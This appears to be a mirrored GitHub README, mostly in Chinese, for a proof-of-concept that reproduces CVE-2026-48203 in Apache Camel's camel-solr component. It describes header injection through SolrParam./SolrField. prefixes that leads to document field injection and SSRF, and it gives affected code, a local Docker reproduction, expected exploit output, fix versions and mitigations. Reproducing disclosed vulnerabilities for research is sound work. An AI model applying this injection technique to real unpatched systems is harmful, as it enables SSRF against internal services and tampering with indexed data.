oscerd/CVE-2026-48203
GitHub: oscerd/CVE-2026-48203
CVE-2026-48203 概念验证项目,复现了 Apache Camel camel-solr 组件中因 header 前缀过滤缺陷导致的 Solr 文档字段注入与 SSRF 漏洞。
Stars: 0 | Forks: 0
# camel-solr `SolrParam.` / `SolrField.` Header 注入复现器 (CVE-2026-48203)
本项目演示了 Apache Camel 的 `camel-solr` 组件中的一个**消息头注入**漏洞,编号为
**CVE-2026-48203**。生产者会将名称以 **`SolrParam.`** 开头的 Exchange header 复制到
Solr 请求的参数中,并将名称以 **`SolrField.`** 开头的 header 复制到被索引的
Solr 文档的字段中。前缀常量(`SolrConstants.HEADER_PARAM_PREFIX` / `HEADER_FIELD_PREFIX`)是纯
字符串 `SolrParam.` / `SolrField.`。由于这些名称不以 `Camel` / `camel` 前缀开头,
`HttpHeaderFilterStrategy` —— 它仅在 HTTP 边界拦截 Camel header 命名空间 —— 允许它们从
入站 HTTP 请求直接进入 Exchange。
此 PoC 演示了两种影响:
1. **文档字段注入 (CWE-74)** — 注入的 `SolrField.injected_role_s` 会向索引文档添加路由作者从未打算过的、由攻击者控制的
字段。
2. **服务端请求伪造 (CWE-918)** — 注入的 `SolrParam.shards` 会使 Solr 服务器向攻击者指定的 URL(例如内部服务或云元数据
端点)发出分布式查询请求。
安全通告:https://camel.apache.org/security/CVE-2026-48203.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-solr` |
| **受影响类** | `org.apache.camel.component.solr.SolrProducer` / `SolrRequestConverter`(前缀 `SolrParam.` / `SolrField.`) |
| **CWE** | CWE-20 → CWE-74(字段注入)和 CWE-918(SSRF) |
| **影响** | 注入任意 Solr 请求参数(`shards`/`stream.url` → SSRF,`qt` → 管理处理器)和任意索引文档字段 |
| **前置条件** | 路由将 HTTP consumer 桥接到 `solr:` producer;当 consumer 未认证时即为未认证状态 |
| **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23597 (PR [apache/camel#23410](https://github.com/apache/camel/pull/23410)) |
| **致谢** | Yu Bao (PayPal) |
## 技术细节
```
// SolrConstants (affected 4.18.2) — the prefixes are bare, non-Camel-prefixed strings:
String HEADER_FIELD_PREFIX = "SolrField.";
String HEADER_PARAM_PREFIX = "SolrParam.";
// SolrProducer / SolrRequestConverter — inbound headers with those prefixes are folded into the request:
message.getHeaders().entrySet().stream()
.filter(e -> e.getKey().startsWith(SolrConstants.HEADER_PARAM_PREFIX)) // -> Solr request params
.forEach(e -> modifiableSolrParams.add(e.getKey().substring(10), e.getValue().toString()));
// ... and SolrField.* headers are merged into the indexed SolrInputDocument.
```
修复方案(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23597)将这些值重命名为 `CamelSolrParam.` / `CamelSolrField.`。
## 受害路由
```
from("netty-http:http://0.0.0.0:8090/index")
.setHeader("CamelSolrOperation", constant("INSERT"))
.process(/* build a fixed {id, content_txt} document */)
.to("solr:solr:8983/solr/mycore?autoCommit=true");
```
路由作者固定了文档字段和搜索查询;注入的 `SolrField.*` / `SolrParam.*`
header 搭乘在 HTTP 请求中进入系统。
## 仓库结构
```
CVE-2026-48203/
├── pom.xml # camel-netty-http + camel-solr 4.18.2 (Netty pinned to 4.1.132)
├── Dockerfile
├── docker-compose.yml # solr 9.6 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── SolrSettings.java # host / core / doc id / URLs
│ ├── SolrReadiness.java # waits for the Solr core before serving
│ ├── VictimRoute.java # netty-http:/index and /search -> solr producer
│ ├── RawSsrfListener.java # internal TCP listener that records Solr's SSRF connection
│ └── ExploitController.java # attacker: SolrField.* and SolrParam.* header injection
└── resources/
└── application.properties
```
## 前置条件
- Docker 和 Docker Compose(用于运行 Solr 和应用)
- Java 17+ 和 Maven 3.8+(用于构建 jar 包)
## 复现步骤
```
mvn clean package -DskipTests
docker compose up -d --build # first start pulls the ~1GB solr image
# 等待 app 日志行 "Started Application",然后:
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### 预期输出
```
=== 1) Legitimate index (no SolrField.* header) ===
indexed doc: "docs":[{ "content_txt":["a normal note"], "id":"user-note-1", ... }]
contains injected field: false
=== 2) Injected SolrField.injected_role_s=admin-INJECTED ===
indexed doc: "docs":[{ "content_txt":["attacker note"], "id":"user-note-1", "injected_role_s":"admin-INJECTED", ... }]
document-field injection: true
=== 3) Injected SolrParam.shards=app:8091/ssrf/mycore (SSRF) ===
Solr opened a server-side connection to the internal listener: true
captured request line: PRI * HTTP/2.0
>>> Header-injection proof — an unauthenticated HTTP client injected a document field (true) and a Solr request
>>> parameter driving SSRF (true) via SolrField.* / SolrParam.* headers.
```
## 推荐修复方案
升级到 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23597)。升级后,通过原始前缀设置 Solr 参数或字段的路由
必须使用 `CamelSolrParam.` / `CamelSolrField.`。
## 缓解措施
在升级之前,请在 `solr:`
producer 之前剥离任何不受信任的入口中的 `SolrParam.*` 和 `SolrField.*` header,并在路由中从受信任的源设置所需的 Solr 参数和字段。
## 免责声明
此复现器仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复**的
漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, CISA项目, JS文件枚举, Maven, PoC, Solr, SSRF, 域名枚举, 头部注入, 暴力破解, 漏洞复现, 漏洞验证, 版权保护, 请求拦截